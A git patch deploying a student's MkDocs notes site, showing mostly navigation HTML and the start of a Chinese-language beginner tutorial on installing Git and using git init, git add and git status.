From f00b2bc4077d7f186af0d5d61c9aa4b003f21cee Mon Sep 17 00:00:00 2001
From: kailq <2725913404@qq.com>
Date: Mon, 20 Jan 2025 20:55:02 +0800
Subject: [PATCH] Deployed 1b59a8b with MkDocs version: 1.6.0

---
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 75 files changed, 3738 insertions(+), 31 deletions(-)
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 create mode 100755 NOTE/CS/GIT/img/git.png
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diff --git a/NOTE/CS/GIT/img/git.png b/NOTE/CS/GIT/img/git.png
new file mode 100755
index 0000000000000000000000000000000000000000..3d870ea309889fb6e7b0e56055955849c7a20260
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diff --git a/NOTE/CS/GIT/img/reset1.png b/NOTE/CS/GIT/img/reset1.png
new file mode 100755
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diff --git a/NOTE/CS/GIT/img/reset2.png b/NOTE/CS/GIT/img/reset2.png
new file mode 100755
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diff --git a/NOTE/CS/GIT/img/reset3.png b/NOTE/CS/GIT/img/reset3.png
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diff --git a/NOTE/CS/GIT/img/reset4.png b/NOTE/CS/GIT/img/reset4.png
new file mode 100755
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+    
+    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!--! Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"/></svg>
+  </div>
+  <div class="md-source__repository">
+    Kailqq
+  </div>
+</a>
+    </div>
+  
+  <ul class="md-nav__list" data-md-scrollfix>
+    
+      
+      
+  
+  
+  
+  
+    <li class="md-nav__item">
+      <a href="../../.." class="md-nav__link">
+        
+  
+  <span class="md-ellipsis">
+    Welcome
+  </span>
+  
+
+      </a>
+    </li>
+  
+
+    
+      
+      
+  
+  
+  
+  
+    <li class="md-nav__item">
+      <a href="../../../changelog/" class="md-nav__link">
+        
+  
+  <span class="md-ellipsis">
+    change_log
+  </span>
+  
+
+      </a>
+    </li>
+  
+
+    
+      
+      
+  
+  
+    
+  
+  
+  
+    
+    
+      
+        
+          
+        
+      
+        
+      
+        
+      
+        
+      
+    
+    
+      
+        
+        
+      
+      
+        
+      
+    
+    
+      
+    
+    <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested">
+      
+        
+        
+        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_3" checked>
+        
+          
+          
+          <div class="md-nav__link md-nav__container">
+            <a href="../../" class="md-nav__link ">
+              
+  
+  <span class="md-ellipsis">
+    NOTE
+  </span>
+  
+
+            </a>
+            
+              
+              <label class="md-nav__link " for="__nav_3" id="__nav_3_label" tabindex="">
+                <span class="md-nav__icon md-icon"></span>
+              </label>
+            
+          </div>
+        
+        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_3_label" aria-expanded="true">
+          <label class="md-nav__title" for="__nav_3">
+            <span class="md-nav__icon md-icon"></span>
+            NOTE
+          </label>
+          <ul class="md-nav__list" data-md-scrollfix>
+            
+              
+            
+              
+                
+  
+  
+  
+  
+    
+    
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+    
+    
+      
+      
+        
+          
+          
+        
+      
+    
+    
+      
+    
+    <li class="md-nav__item md-nav__item--section md-nav__item--nested">
+      
+        
+        
+          
+        
+        <input class="md-nav__toggle md-toggle md-toggle--indeterminate" type="checkbox" id="__nav_3_2" >
+        
+          
+          <label class="md-nav__link" for="__nav_3_2" id="__nav_3_2_label" tabindex="">
+            
+  
+  <span class="md-ellipsis">
+    课程笔记
+  </span>
+  
+
+            <span class="md-nav__icon md-icon"></span>
+          </label>
+        
+        <nav class="md-nav" data-md-level="2" aria-labelledby="__nav_3_2_label" aria-expanded="false">
+          <label class="md-nav__title" for="__nav_3_2">
+            <span class="md-nav__icon md-icon"></span>
+            课程笔记
+          </label>
+          <ul class="md-nav__list" data-md-scrollfix>
+            
+              
+                
+  
+  
+  
+  
+    
+    
+      
+        
+          
+        
+      
+        
+      
+        
+      
+        
+      
+    
+    
+      
+      
+        
+      
+    
+    
+      
+        
+        
+      
+    
+    <li class="md-nav__item md-nav__item--pruned md-nav__item--nested">
+      
+        
+  
+  
+    <a href="../../CO/" class="md-nav__link">
+      
+  
+  <span class="md-ellipsis">
+    计算机组成与设计
+  </span>
+  
+
+      
+        <span class="md-nav__icon md-icon"></span>
+      
+    </a>
+  
+
+      
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
+    
+    
+      
+        
+      
+        
+      
+        
+      
+        
+      
+    
+    
+      
+      
+        
+      
+    
+    
+      
+        
+        
+      
+    
+    <li class="md-nav__item md-nav__item--pruned md-nav__item--nested">
+      
+        
+  
+  
+    <a href="../../LA/linear-algebra/" class="md-nav__link">
+      
+  
+  <span class="md-ellipsis">
+    LINEAR-ALGEBRA
+  </span>
+  
+
+      
+        <span class="md-nav__icon md-icon"></span>
+      
+    </a>
+  
+
+      
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
+    
+    
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+    
+    
+      
+      
+        
+      
+    
+    
+      
+        
+        
+      
+    
+    <li class="md-nav__item md-nav__item--pruned md-nav__item--nested">
+      
+        
+  
+  
+    <a href="../../CTF/CTF/" class="md-nav__link">
+      
+  
+  <span class="md-ellipsis">
+    CTF
+  </span>
+  
+
+      
+        <span class="md-nav__icon md-icon"></span>
+      
+    </a>
+  
+
+      
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
+    
+    
+      
+        
+          
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+    
+    
+      
+      
+        
+      
+    
+    
+      
+        
+        
+      
+    
+    <li class="md-nav__item md-nav__item--pruned md-nav__item--nested">
+      
+        
+  
+  
+    <a href="../../Probability/" class="md-nav__link">
+      
+  
+  <span class="md-ellipsis">
+    概率论
+  </span>
+  
+
+      
+        <span class="md-nav__icon md-icon"></span>
+      
+    </a>
+  
+
+      
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
+    
+    
+      
+        
+          
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+    
+    
+      
+      
+        
+      
+    
+    
+      
+        
+        
+      
+    
+    <li class="md-nav__item md-nav__item--pruned md-nav__item--nested">
+      
+        
+  
+  
+    <a href="../../Physics/" class="md-nav__link">
+      
+  
+  <span class="md-ellipsis">
+    普通物理学二
+  </span>
+  
+
+      
+        <span class="md-nav__icon md-icon"></span>
+      
+    </a>
+  
+
+      
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
+    
+    
+      
+        
+          
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+        
+      
+    
+    
+      
+      
+        
+      
+    
+    
+      
+        
+        
+      
+    
+    <li class="md-nav__item md-nav__item--pruned md-nav__item--nested">
+      
+        
+  
+  
+    <a href="../../ADS/" class="md-nav__link">
+      
+  
+  <span class="md-ellipsis">
+    高级数据结构与算法分析
+  </span>
+  
+
+      
+        <span class="md-nav__icon md-icon"></span>
+      
+    </a>
+  
+
+      
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
+    
+    
+      
+        
+          
+        
+      
+    
+    
+      
+      
+        
+      
+    
+    
+      
+        
+        
+      
+    
+    <li class="md-nav__item md-nav__item--pruned md-nav__item--nested">
+      
+        
+  
+  
+    <a href="../../MA/" class="md-nav__link">
+      
+  
+  <span class="md-ellipsis">
+    数学分析
+  </span>
+  
+
+      
+        <span class="md-nav__icon md-icon"></span>
+      
+    </a>
+  
+
+      
+    </li>
+  
+
+              
+            
+          </ul>
+        </nav>
+      
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+    
+  
+  
+  
+    
+    
+      
+        
+          
+        
+      
+        
+          
+        
+      
+        
+      
+        
+      
+        
+      
+    
+    
+      
+      
+        
+          
+          
+        
+      
+    
+    
+      
+    
+    <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested">
+      
+        
+        
+        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_3_3" checked>
+        
+          
+          
+          <div class="md-nav__link md-nav__container">
+            <a href="../" class="md-nav__link ">
+              
+  
+  <span class="md-ellipsis">
+    CS
+  </span>
+  
+
+            </a>
+            
+              
+              <label class="md-nav__link " for="__nav_3_3" id="__nav_3_3_label" tabindex="">
+                <span class="md-nav__icon md-icon"></span>
+              </label>
+            
+          </div>
+        
+        <nav class="md-nav" data-md-level="2" aria-labelledby="__nav_3_3_label" aria-expanded="true">
+          <label class="md-nav__title" for="__nav_3_3">
+            <span class="md-nav__icon md-icon"></span>
+            CS
+          </label>
+          <ul class="md-nav__list" data-md-scrollfix>
+            
+              
+            
+              
+                
+  
+  
+    
+  
+  
+  
+    <li class="md-nav__item md-nav__item--active">
+      
+      <input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
+      
+      
+        
+      
+      
+        <label class="md-nav__link md-nav__link--active" for="__toc">
+          
+  
+  <span class="md-ellipsis">
+    Git
+  </span>
+  
+
+          <span class="md-nav__icon md-icon"></span>
+        </label>
+      
+      <a href="./" class="md-nav__link md-nav__link--active">
+        
+  
+  <span class="md-ellipsis">
+    Git
+  </span>
+  
+
+      </a>
+      
+        
+
+<nav class="md-nav md-nav--secondary" aria-label="目录">
+  
+  
+  
+    
+  
+  
+    <label class="md-nav__title" for="__toc">
+      <span class="md-nav__icon md-icon"></span>
+      目录
+    </label>
+    <ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
+      
+        <li class="md-nav__item">
+  <a href="#_1" class="md-nav__link">
+    <span class="md-ellipsis">
+      安装
+    </span>
+  </a>
+  
+    <nav class="md-nav" aria-label="安装">
+      <ul class="md-nav__list">
+        
+          <li class="md-nav__item">
+  <a href="#_2" class="md-nav__link">
+    <span class="md-ellipsis">
+      检验是否安装成功
+    </span>
+  </a>
+  
+</li>
+        
+      </ul>
+    </nav>
+  
+</li>
+      
+        <li class="md-nav__item">
+  <a href="#_3" class="md-nav__link">
+    <span class="md-ellipsis">
+      本地操作
+    </span>
+  </a>
+  
+    <nav class="md-nav" aria-label="本地操作">
+      <ul class="md-nav__list">
+        
+          <li class="md-nav__item">
+  <a href="#_4" class="md-nav__link">
+    <span class="md-ellipsis">
+      初始化
+    </span>
+  </a>
+  
+</li>
+        
+          <li class="md-nav__item">
+  <a href="#_5" class="md-nav__link">
+    <span class="md-ellipsis">
+      添加文件
+    </span>
+  </a>
+  
+</li>
+        
+          <li class="md-nav__item">
+  <a href="#_6" class="md-nav__link">
+    <span class="md-ellipsis">
+      提交
+    </span>
+  </a>
+  
+</li>
+        
+          <li class="md-nav__item">
+  <a href="#_7" class="md-nav__link">
+    <span class="md-ellipsis">
+      版本回退
+    </span>
+  </a>
+  
+    <nav class="md-nav" aria-label="版本回退">
+      <ul class="md-nav__list">
+        
+          <li class="md-nav__item">
+  <a href="#-soft" class="md-nav__link">
+    <span class="md-ellipsis">
+      --soft
+    </span>
+  </a>
+  
+</li>
+        
+          <li class="md-nav__item">
+  <a href="#-hard" class="md-nav__link">
+    <span class="md-ellipsis">
+      --hard
+    </span>
+  </a>
+  
+</li>
+        
+          <li class="md-nav__item">
+  <a href="#-mixed" class="md-nav__link">
+    <span class="md-ellipsis">
+      --mixed
+    </span>
+  </a>
+  
+</li>
+        
+      </ul>
+    </nav>
+  
+</li>
+        
+      </ul>
+    </nav>
+  
+</li>
+      
+    </ul>
+  
+</nav>
+      
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
+    <li class="md-nav__item">
+      <a href="../Verilog/verilog/" class="md-nav__link">
+        
+  
+  <span class="md-ellipsis">
+    verilog学习笔记
+  </span>
+  
+
+      </a>
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
+    <li class="md-nav__item">
+      <a href="../RUST/RUST/" class="md-nav__link">
+        
+  
+  <span class="md-ellipsis">
+    RUST学习笔记
+  </span>
+  
+
+      </a>
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
+    
+    
+      
+        
+      
+        
+      
+        
+      
+        
+      
+    
+    
+      
+      
+        
+      
+    
+    
+      
+        
+        
+      
+    
+    <li class="md-nav__item md-nav__item--pruned md-nav__item--nested">
+      
+        
+  
+  
+    <a href="../ASM/wk1/" class="md-nav__link">
+      
+  
+  <span class="md-ellipsis">
+    汇编学习笔记
+  </span>
+  
+
+      
+        <span class="md-nav__icon md-icon"></span>
+      
+    </a>
+  
+
+      
+    </li>
+  
+
+              
+            
+          </ul>
+        </nav>
+      
+    </li>
+  
+
+              
+            
+              
+                
+  
+  
+  
+  
+    
+    
+      
+        
+          
+        
+      
+        
+      
+    
+    
+      
+      
+        
+          
+          
+        
+      
+    
+    
+      
+    
+    <li class="md-nav__item md-nav__item--section md-nav__item--nested">
+      
+        
+        
+          
+        
+        <input class="md-nav__toggle md-toggle md-toggle--indeterminate" type="checkbox" id="__nav_3_4" >
+        
+          
+          
+          <div class="md-nav__link md-nav__container">
+            <a href="../../Language/" class="md-nav__link ">
+              
+  
+  <span class="md-ellipsis">
+    language
+  </span>
+  
+
+            </a>
+            
+              
+              <label class="md-nav__link " for="__nav_3_4" id="__nav_3_4_label" tabindex="">
+                <span class="md-nav__icon md-icon"></span>
+              </label>
+            
+          </div>
+        
+        <nav class="md-nav" data-md-level="2" aria-labelledby="__nav_3_4_label" aria-expanded="false">
+          <label class="md-nav__title" for="__nav_3_4">
+            <span class="md-nav__icon md-icon"></span>
+            language
+          </label>
+          <ul class="md-nav__list" data-md-scrollfix>
+            
+              
+            
+              
+                
+  
+  
+  
+  
+    <li class="md-nav__item">
+      <a href="../../Language/English/" class="md-nav__link">
+        
+  
+  <span class="md-ellipsis">
+    English
+  </span>
+  
+
+      </a>
+    </li>
+  
+
+              
+            
+          </ul>
+        </nav>
+      
+    </li>
+  
+
+              
+            
+          </ul>
+        </nav>
+      
+    </li>
+  
+
+    
+      
+      
+  
+  
+  
+  
+    <li class="md-nav__item">
+      <a href="../../../friends/" class="md-nav__link">
+        
+  
+  <span class="md-ellipsis">
+    Friends
+  </span>
+  
+
+      </a>
+    </li>
+  
+
+    
+  </ul>
+</nav>
+                  </div>
+                </div>
+              </div>
+            
+            
+              
+              <div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
+                <div class="md-sidebar__scrollwrap">
+                  <div class="md-sidebar__inner">
+                    
+
+<nav class="md-nav md-nav--secondary" aria-label="目录">
+  
+  
+  
+    
+  
+  
+    <label class="md-nav__title" for="__toc">
+      <span class="md-nav__icon md-icon"></span>
+      目录
+    </label>
+    <ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
+      
+        <li class="md-nav__item">
+  <a href="#_1" class="md-nav__link">
+    <span class="md-ellipsis">
+      安装
+    </span>
+  </a>
+  
+    <nav class="md-nav" aria-label="安装">
+      <ul class="md-nav__list">
+        
+          <li class="md-nav__item">
+  <a href="#_2" class="md-nav__link">
+    <span class="md-ellipsis">
+      检验是否安装成功
+    </span>
+  </a>
+  
+</li>
+        
+      </ul>
+    </nav>
+  
+</li>
+      
+        <li class="md-nav__item">
+  <a href="#_3" class="md-nav__link">
+    <span class="md-ellipsis">
+      本地操作
+    </span>
+  </a>
+  
+    <nav class="md-nav" aria-label="本地操作">
+      <ul class="md-nav__list">
+        
+          <li class="md-nav__item">
+  <a href="#_4" class="md-nav__link">
+    <span class="md-ellipsis">
+      初始化
+    </span>
+  </a>
+  
+</li>
+        
+          <li class="md-nav__item">
+  <a href="#_5" class="md-nav__link">
+    <span class="md-ellipsis">
+      添加文件
+    </span>
+  </a>
+  
+</li>
+        
+          <li class="md-nav__item">
+  <a href="#_6" class="md-nav__link">
+    <span class="md-ellipsis">
+      提交
+    </span>
+  </a>
+  
+</li>
+        
+          <li class="md-nav__item">
+  <a href="#_7" class="md-nav__link">
+    <span class="md-ellipsis">
+      版本回退
+    </span>
+  </a>
+  
+    <nav class="md-nav" aria-label="版本回退">
+      <ul class="md-nav__list">
+        
+          <li class="md-nav__item">
+  <a href="#-soft" class="md-nav__link">
+    <span class="md-ellipsis">
+      --soft
+    </span>
+  </a>
+  
+</li>
+        
+          <li class="md-nav__item">
+  <a href="#-hard" class="md-nav__link">
+    <span class="md-ellipsis">
+      --hard
+    </span>
+  </a>
+  
+</li>
+        
+          <li class="md-nav__item">
+  <a href="#-mixed" class="md-nav__link">
+    <span class="md-ellipsis">
+      --mixed
+    </span>
+  </a>
+  
+</li>
+        
+      </ul>
+    </nav>
+  
+</li>
+        
+      </ul>
+    </nav>
+  
+</li>
+      
+    </ul>
+  
+</nav>
+                  </div>
+                </div>
+              </div>
+            
+          
+          
+            <div class="md-content" data-md-component="content">
+              <article class="md-content__inner md-typeset">
+                
+                  
+
+  
+    <a href="https://github.com/kailqq/kailqq.github.io/edit/master/docs/NOTE/CS/GIT/index.md" title="编辑此页" class="md-content__button md-icon">
+      
+      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4v-2m10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1 2.1 2.1Z"/></svg>
+    </a>
+  
+  
+    
+      
+    
+    <a href="https://github.com/kailqq/kailqq.github.io/raw/master/docs/NOTE/CS/GIT/index.md" title="查看本页的源代码" class="md-content__button md-icon">
+      
+      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M17 18c.56 0 1 .44 1 1s-.44 1-1 1-1-.44-1-1 .44-1 1-1m0-3c-2.73 0-5.06 1.66-6 4 .94 2.34 3.27 4 6 4s5.06-1.66 6-4c-.94-2.34-3.27-4-6-4m0 6.5a2.5 2.5 0 0 1-2.5-2.5 2.5 2.5 0 0 1 2.5-2.5 2.5 2.5 0 0 1 2.5 2.5 2.5 2.5 0 0 1-2.5 2.5M9.27 20H6V4h7v5h5v4.07c.7.08 1.36.25 2 .49V8l-6-6H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h4.5a8.15 8.15 0 0 1-1.23-2Z"/></svg>
+    </a>
+  
+
+
+<h1 id="git">Git 笔记<a class="headerlink" href="#git" title="Permanent link">&para;</a></h1>
+<div style="margin-top: -30px; font-size: 0.75em; opacity: 0.7;">
+<p><span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12a10 10 0 0 0 10 10 10 10 0 0 0 10-10h-2a8 8 0 0 1-8 8 8 8 0 0 1-8-8 8 8 0 0 1 8-8V2m6.78 1a.69.69 0 0 0-.48.2l-1.22 1.21 2.5 2.5L20.8 5.7c.26-.26.26-.7 0-.95L19.25 3.2c-.13-.13-.3-.2-.47-.2m-2.41 2.12L9 12.5V15h2.5l7.37-7.38-2.5-2.5Z"/></svg></span> 约 1954 个字 <span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!--! Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3l89.3 89.4-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg></span> 22 行代码 <span class="twemoji"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 20c4.42 0 8-3.58 8-8s-3.58-8-8-8-8 3.58-8 8 3.58 8 8 8m0-18c5.5 0 10 4.5 10 10s-4.5 10-10 10C6.47 22 2 17.5 2 12S6.5 2 12 2m.5 11H11V7h1.5v4.26l3.7-2.13.75 1.3L12.5 13Z"/></svg></span> 预计阅读时间 7 分钟</p>
+</div>
+<p>作为计科专业的学生,怎么能不会Git呢</p>
+<p>git命令比较多,有些命令的意义比较长难以一直记住,在这里推荐一个非常好用的工具<a href="https://tldr.sh/">tldr</a>，Too long don't read~</p>
+<h2 id="_1">安装<a class="headerlink" href="#_1" title="Permanent link">&para;</a></h2>
+<p>Windows 用户可以通过<a href="https://git-scm.com/download/win">Git官网</a>下载安装包进行安装</p>
+<p>Linux 用户可以通过以下命令进行安装</p>
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-0-1"><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a>sudo<span class="w"> </span>apt-get<span class="w"> </span>update
+</span><span id="__span-0-2"><a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a>sudo<span class="w"> </span>apt-get<span class="w"> </span>install<span class="w"> </span>git
+</span></code></pre></div>
+<p>macOS 用户可以通过以下命令进行安装</p>
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-1-1"><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a>brew<span class="w"> </span>install<span class="w"> </span>git
+</span></code></pre></div>
+<h3 id="_2">检验是否安装成功<a class="headerlink" href="#_2" title="Permanent link">&para;</a></h3>
+<p>在终端中输入以下命令,如果出现版本号,则说明安装成功</p>
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-2-1"><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a>git<span class="w"> </span>--version
+</span></code></pre></div>
+<div class="admonition info">
+<p class="admonition-title">git 是怎么工作的</p>
+<p>首先,有以下几个概念</p>
+<ol>
+<li>
+<p><strong>工作区 (Working Directory)</strong>: 这是你在本地计算机上看到的文件和目录。你在这里进行文件的添加、修改和删除操作。</p>
+</li>
+<li>
+<p><strong>暂存区 (Staging Area)</strong>: 当你对工作区中的文件进行修改后，可以使用 <code>git add</code> 命令将这些修改添加到暂存区。暂存区是一个临时区域,它是工作区和本地仓库的桥梁，起到缓冲的作用,用于记录即将提交的更改。</p>
+</li>
+<li>
+<p><strong>本地仓库 (Local Repository)</strong>: 使用 <code>git commit</code> 命令将暂存区中的更改提交到本地仓库。提交后，这些更改将被记录在本地仓库的历史记录中。</p>
+</li>
+<li>
+<p><strong>远程仓库 (Remote Repository)</strong>: 远程仓库是存储在服务器上的 Git 仓库。你可以使用 <code>git push</code> 命令将本地仓库中的更改推送到远程仓库，或者使用 <code>git pull</code> 命令从远程仓库拉取最新的更改。</p>
+</li>
+<li>
+<p><strong>版本库 (Repository)</strong>: 版本库是 Git 用来保存项目历史记录的地方。它包含了所有提交的记录和项目的所有版本。在本地仓库中,版本库是.git文件夹,在远程仓库中,版本库是远程仓库里面的.git文件夹</p>
+</li>
+</ol>
+<p><figure markdown="span">
+<img alt="Image title" src="img/git.png" width="500" />
+<figcaption>示意图</figcaption>
+</figure></p>
+<p><figure markdown="span">
+<img alt="Image title" src="img/git1.png" width="500" />
+<figcaption>版本库,工作区和暂存区</figcaption>
+</figure></p>
+</div>
+<h2 id="_3">本地操作<a class="headerlink" href="#_3" title="Permanent link">&para;</a></h2>
+<h3 id="_4">初始化<a class="headerlink" href="#_4" title="Permanent link">&para;</a></h3>
+<p>创建一个文件夹,然后进入文件夹,在终端中输入以下命令</p>
+<p><div class="language-bash highlight"><pre><span></span><code><span id="__span-3-1"><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a>git<span class="w"> </span>init
+</span></code></pre></div>
+这条命令会在当前目录下创建一个.git文件夹,这个文件夹就是版本库</p>
+<figure>
+<img alt="Image title" src="img/init.png" width="500" />
+<figcaption>初始化</figcaption>
+</figure>
+<h3 id="_5">添加文件<a class="headerlink" href="#_5" title="Permanent link">&para;</a></h3>
+<p>此时 <strong>工作区</strong> 中有一个text.txt文件,现在我们想把这个文件添加到 <strong>暂存区</strong> 中</p>
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-4-1"><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a>git<span class="w"> </span>add<span class="w"> </span>text.txt
+</span></code></pre></div>
+<p>此时 <strong>暂存区</strong> 中就多了一个text.txt文件，我们可以使用</p>
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-5-1"><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a>git<span class="w"> </span>status
+</span></code></pre></div>
+<p>来查看 <strong>暂存区</strong> 中的文件</p>
+<figure>
+<img alt="Image title" src="img/add.png" width="500" />
+<figcaption>添加文件</figcaption>
+</figure>
+<p>在这里,将文件加入暂存区后,文件就在暂存区中等待我们的提交(Commit)了</p>
+<details class="note">
+<summary>常见的 git add 的指令</summary>
+<ol>
+<li>
+<p>添加单个文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-6-1"><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a>git<span class="w"> </span>add<span class="w"> </span>&lt;filename&gt;
+</span></code></pre></div>
+例如，添加 <code>text.txt</code> 文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-7-1"><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a>git<span class="w"> </span>add<span class="w"> </span>text.txt
+</span></code></pre></div></p>
+</li>
+<li>
+<p>添加多个文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-8-1"><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a>git<span class="w"> </span>add<span class="w"> </span>&lt;file1&gt;<span class="w"> </span>&lt;file2&gt;<span class="w"> </span>&lt;file3&gt;
+</span></code></pre></div>
+例如，添加 <code>file1.txt</code>、<code>file2.txt</code> 和 <code>file3.txt</code>：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-9-1"><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a>git<span class="w"> </span>add<span class="w"> </span>file1.txt<span class="w"> </span>file2.txt<span class="w"> </span>file3.txt
+</span></code></pre></div></p>
+</li>
+<li>
+<p>添加当前目录下的所有文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-10-1"><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a>git<span class="w"> </span>add<span class="w"> </span>.
+</span></code></pre></div>
+这条命令会将当前目录下的所有更改添加到暂存区。</p>
+</li>
+<li>
+<p>添加特定目录下的所有文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-11-1"><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a>git<span class="w"> </span>add<span class="w"> </span>&lt;directory&gt;/
+</span></code></pre></div>
+例如，添加 <code>src</code> 目录下的所有文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-12-1"><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a>git<span class="w"> </span>add<span class="w"> </span>src/
+</span></code></pre></div></p>
+</li>
+<li>
+<p>添加符合特定模式的文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-13-1"><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a>git<span class="w"> </span>add<span class="w"> </span>*.txt
+</span></code></pre></div>
+这条命令会将当前目录下所有 <code>.txt</code> 文件添加到暂存区。</p>
+</li>
+<li>
+<p>交互式添加文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-14-1"><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a>git<span class="w"> </span>add<span class="w"> </span>-i
+</span></code></pre></div>
+这条命令会进入交互模式，允许你选择性地添加文件。</p>
+</li>
+<li>
+<p>更新已追踪文件的更改：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-15-1"><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a>git<span class="w"> </span>add<span class="w"> </span>-u
+</span></code></pre></div>
+这条命令只会添加已追踪文件的更改，不会添加新文件。</p>
+</li>
+<li>
+<p>添加所有更改，包括未追踪文件：
+<div class="language-bash highlight"><pre><span></span><code><span id="__span-16-1"><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a>git<span class="w"> </span>add<span class="w"> </span>-A
+</span></code></pre></div>
+这条命令会将所有更改（包括新文件和删除的文件）添加到暂存区。</p>
+</li>
+</ol>
+<p>这些指令可以帮助你根据不同的需求灵活地将文件添加到 Git 的暂存区中。</p>
+</details>
+<h3 id="_6">提交<a class="headerlink" href="#_6" title="Permanent link">&para;</a></h3>
